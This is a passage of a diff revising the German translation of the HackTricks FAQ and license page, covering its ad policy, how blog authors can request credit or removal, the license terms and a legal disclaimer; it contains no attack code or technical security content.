relevanten Cybersicherheitsfirmen, HackTricks zu sponsern und **einige Anzeigen** im Buch zu platzieren, wobei die **Anzeigen** immer an Stellen gesetzt werden, an denen sie **sichtbar** sind, aber den Lernprozess nicht stören, wenn jemand sich auf den Inhalt konzentriert. -Du wirst HackTricks nicht mit nervigen Anzeigen vollgestopft finden wie andere Blogs mit deutlich weniger Inhalten, denn HackTricks ist nicht für kommerzielle Zwecke gemacht. +Du wirst HackTricks nicht mit nervigen Anzeigen überladen finden wie andere Blogs mit deutlich weniger Inhalten als HackTricks, denn HackTricks ist nicht für kommerzielle Zwecke gemacht. > [!CAUTION] > -> - **Was soll ich tun, wenn eine HackTricks-Seite auf meinem Blogpost basiert, dieser aber nicht referenziert wird?** +> - **Was soll ich tun, wenn eine HackTricks-Seite auf meinem Blogbeitrag basiert, dieser aber nicht referenziert wird?** -**Das tut uns sehr leid. Das hätte nicht passieren dürfen**. Bitte lass es uns wissen über Github issues, Twitter, Discord... den Link der HackTricks-Seite mit dem Inhalt und den Link zu deinem Blog und **wir werden es prüfen und so schnell wie möglich hinzufügen**. +**Es tut uns sehr leid. Das hätte nicht passieren dürfen**. Bitte lass es uns über Github issues, Twitter, Discord ... wissen: den Link zur HackTricks-Seite mit dem Inhalt und den Link zu deinem Blog, und **wir werden es prüfen und so schnell wie möglich hinzufügen**. > [!CAUTION] > -> - **Was soll ich tun, wenn Inhalte meines Blogs in HackTricks sind und ich das nicht möchte?** +> - **Was soll ich tun, wenn Inhalte aus meinem Blog in HackTricks auftauchen und ich nicht möchte, dass sie dort sind?** -Beachte, dass Links zu deiner Seite in HackTricks: +Beachte, dass Links auf deine Seite in HackTricks: -- Deine **SEO** verbessern -- Der Inhalt in **mehr als 15 Sprachen** übersetzt wird, sodass mehr Menschen Zugang zu diesem Inhalt haben -- **HackTricks ermutigt** Leute, **deine Seite zu besuchen** (mehrere Leute haben uns mitgeteilt, dass sie seitdem eine ihrer Seiten in HackTricks hat, mehr Besuche erhalten) +- Verbessern dein **SEO** +- Die Inhalte werden **in mehr als 15 Sprachen übersetzt**, wodurch mehr Menschen Zugriff auf diese Inhalte haben +- **HackTricks ermutigt** Menschen, **deine Seite zu besuchen** (mehrere Personen haben uns mitgeteilt, dass sie seitdem, dass eine ihrer Seiten in HackTricks ist, mehr Besuche erhalten) -Solltest du dennoch wünschen, dass der Inhalt deines Blogs aus HackTricks entfernt wird, sag es uns einfach und wir werden definitiv **jeden Link zu deinem Blog entfernen** sowie jeglichen auf ihm basierenden Inhalt. +Wenn du dennoch möchtest, dass Inhalte deines Blogs aus HackTricks entfernt werden, sag uns einfach Bescheid und wir werden definitiv **jeden Link zu deinem Blog entfernen**, und jegliche darauf basierende Inhalte. > [!CAUTION] > > - **Was soll ich tun, wenn ich kopierten Inhalt in HackTricks finde?** -Wir geben den ursprünglichen Autoren stets **alle Credits**. Wenn du eine Seite mit kopiertem Inhalt ohne Referenz zur Originalquelle findest, lass es uns wissen und wir werden ihn entweder **entfernen**, **den Link vor den Text setzen**, oder **umschreiben und den Link hinzufügen**. +Wir geben den Originalautoren immer **vollständig die Credits**. Wenn du eine Seite mit kopiertem Inhalt findest, ohne dass die Originalquelle angegeben ist, lass es uns wissen und wir werden entweder **den Inhalt entfernen**, **den Link vor dem Text hinzufügen**, oder **den Text umschreiben und den Link einfügen**. -## LICENSE +## LIZENZ Copyright © Alle Rechte vorbehalten, sofern nicht anders angegeben. -#### License Summary: +#### Lizenz-Zusammenfassung: -- Attribution: Du darfst: -- Share — kopieren und das Material in jedem Medium oder Format weiterverbreiten. -- Adapt — remixen, transformieren und auf dem Material aufbauen. +- Namensnennung: Du darfst: +- Teilen — kopiere und verbreite das Material in jedem Medium oder Format. +- Anpassen — remixe, transformiere und baue auf dem Material auf. -#### Additional Terms: +#### Zusätzliche Bedingungen: -- Third-Party Content: Teile dieses Blogs/Buchs können Inhalte aus anderen Quellen enthalten, wie Auszüge aus anderen Blogs oder Publikationen. Die Nutzung solcher Inhalte erfolgt unter den Prinzipien des fair use oder mit ausdrücklicher Genehmigung der jeweiligen Urheberrechtsinhaber. Bitte beziehe dich auf die Originalquellen für spezifische Lizenzinformationen zu Inhalten Dritter. -- Authorship: Der ursprünglich von HackTricks verfasste Inhalt unterliegt den Bedingungen dieser Lizenz. Du wirst ermutigt, dieses Werk beim Teilen oder Anpassen dem Autor zuzuschreiben. +- Inhalte Dritter: Einige Teile dieses Blogs/Buches können Inhalte aus anderen Quellen enthalten, wie Auszüge aus anderen Blogs oder Publikationen. Die Verwendung solcher Inhalte erfolgt unter den Prinzipien des Fair Use oder mit ausdrücklicher Erlaubnis der jeweiligen Urheberrechtsinhaber. Bitte beziehe dich auf die Originalquellen für spezifische Lizenzinformationen zu Inhalten Dritter. +- Autorenschaft: Die Originalinhalte, verfasst von HackTricks, unterliegen den Bedingungen dieser Lizenz. Es wird empfohlen, dieses Werk dem Autor beim Teilen oder Anpassen zu nennen. -#### Exemptions: +#### Ausnahmen: -- Commercial Use: Für Anfragen bezüglich der kommerziellen Nutzung dieses Inhalts kontaktiere mich bitte. +- Kommerzielle Nutzung: Bei Anfragen zur kommerziellen Nutzung dieses Inhalts kontaktiere mich bitte. -Diese Lizenz gewährt keine Marken- oder Brandingrechte in Bezug auf die Inhalte. Alle Marken und Branding-Elemente, die in diesem Blog/Buch erscheinen, sind Eigentum ihrer jeweiligen Inhaber. +Diese Lizenz gewährt keine Marken- oder Branding-Rechte in Bezug auf die Inhalte. Alle Marken und Brandings in diesem Blog/Buch sind Eigentum ihrer jeweiligen Inhaber. -**Durch den Zugriff auf oder die Nutzung von HackTricks erklärst du dich damit einverstanden, die Bedingungen dieser Lizenz einzuhalten. Wenn du mit diesen Bedingungen nicht einverstanden bist, greife bitte nicht auf diese Website zu.** +**Durch den Zugriff auf oder die Nutzung von HackTricks erklärst du dich mit den Bedingungen dieser Lizenz einverstanden. Wenn du diesen Bedingungen nicht zustimmst, bitte greife nicht auf diese Website zu.** -## **Disclaimer** +## **Haftungsausschluss** > [!CAUTION] -> Dieses Buch, 'HackTricks', dient nur zu Bildungs- und Informationszwecken. Die Inhalte dieses Buches werden "wie besehen" bereitgestellt, und die Autoren und Herausgeber geben keinerlei Zusicherungen oder Gewährleistungen jeglicher Art, weder ausdrücklich noch stillschweigend, hinsichtlich Vollständigkeit, Genauigkeit, Zuverlässigkeit, Eignung oder Verfügbarkeit der Informationen, Produkte, Dienstleistungen oder damit zusammenhängender Grafiken in diesem Buch. Jegliches Vertrauen, das du in solche Informationen setzt, erfolgt daher ausschließlich auf eigenes Risiko. -> -> Die Autoren und Herausgeber haften unter keinen Umständen für Verluste oder Schäden, einschließlich, aber nicht beschränkt auf indirekte oder Folgeschäden, oder für Verluste oder Schäden jedweder Art, die aus dem Verlust von Daten oder Gewinnen entstehen, die sich aus der Nutzung dieses Buches ergeben. -> -> Darüber hinaus werden die in diesem Buch beschriebenen Techniken und Tipps nur zu Bildungs- und Informationszwecken bereitgestellt und sollten nicht für illegale oder böswillige Aktivitäten verwendet werden. Die Autoren und Herausgeber billigen oder unterstützen keine illegalen oder unethischen Aktivitäten, und jede Nutzung der in diesem Buch enthaltenen Informationen geschieht auf eigenes Risiko und eigene Verantwortung des Nutzers. -> -> Der Nutzer ist allein verantwortlich für alle Handlungen, die auf der Grundlage der in diesem Buch enthaltenen Informationen vorgenommen werden, und sollte stets professionelle Beratung und Unterstützung einholen, bevor er versucht, eine der beschriebenen Techniken oder Tipps umzusetzen. -> -> Durch die Nutzung dieses Buches entbindet der Nutzer die Autoren und Herausgeber von jeglicher Haftung und Verantwortung für Schäden, Verluste oder Schäden, die sich aus der Nutzung dieses Buches oder der darin enthaltenen Informationen ergeben können. +> Dieses Buch, 'HackTricks', ist ausschließlich für Bildungs- und Informationszwecke gedacht. Die Inhalte dieses Buches werden 'wie besehen' bereitgestellt, und die Autoren und Herausgeber geben keine Zusicherungen oder Gewährleistungen jeglicher Art, weder ausdrücklich noch stillschweigend, über die Vollständigkeit, Genauigkeit, Zuverlässigkeit, Eignung oder Verfügbarkeit der Informationen, Produkte, Dienstleistungen oder zugehöriger Grafiken in diesem Buch. Jegliches Vertrauen, das du in solche Informationen setzt, erfolgt daher ausschließlich auf dein eigenes Risiko. +> +> Die Autoren und Herausgeber haften unter keinen Umständen für Verluste oder Schäden, einschließlich, aber nicht beschränkt auf, indirekte oder Folgeschäden, oder irgendwelche Verluste oder Schäden, die sich aus Datenverlust oder entgangenen Gewinnen ergeben, die aus oder im Zusammenhang mit der Nutzung dieses Buches entstehen. +> +> Darüber hinaus werden die in diesem Buch beschriebenen Techniken und Tipps nur zu Bildungs- und Informationszwecken bereitgestellt und sollten nicht für illegale oder böswillige Aktivitäten verwendet werden. Die Autoren und Herausgeber billigen oder unterstützen keine illegalen oder unethischen Aktivitäten, und jede Nutzung der in diesem Buch enthaltenen Informationen erfolgt auf eigenes Risiko und nach eigenem Ermessen. +> +> Der Benutzer ist allein verantwortlich für jegliche Handlungen, die auf der Grundlage der in diesem Buch enthaltenen Informationen unternommen werden, und sollte stets professionellen Rat und Unterstützung suchen, wenn er versucht, eine der hier beschriebenen Techniken oder Tipps umzusetzen. +> +> Durch die Nutzung dieses Buches erklärt sich der Benutzer damit einverstanden, die Autoren und Herausgeber von jeglicher Haftung und Verantwortung für Schäden, Verluste oder Verletzungen freizustellen, die sich aus der Nutzung dieses Buches oder irgendeiner der darin enthaltenen Informationen ergeben können. {{#include ../banners/hacktricks-training.md}}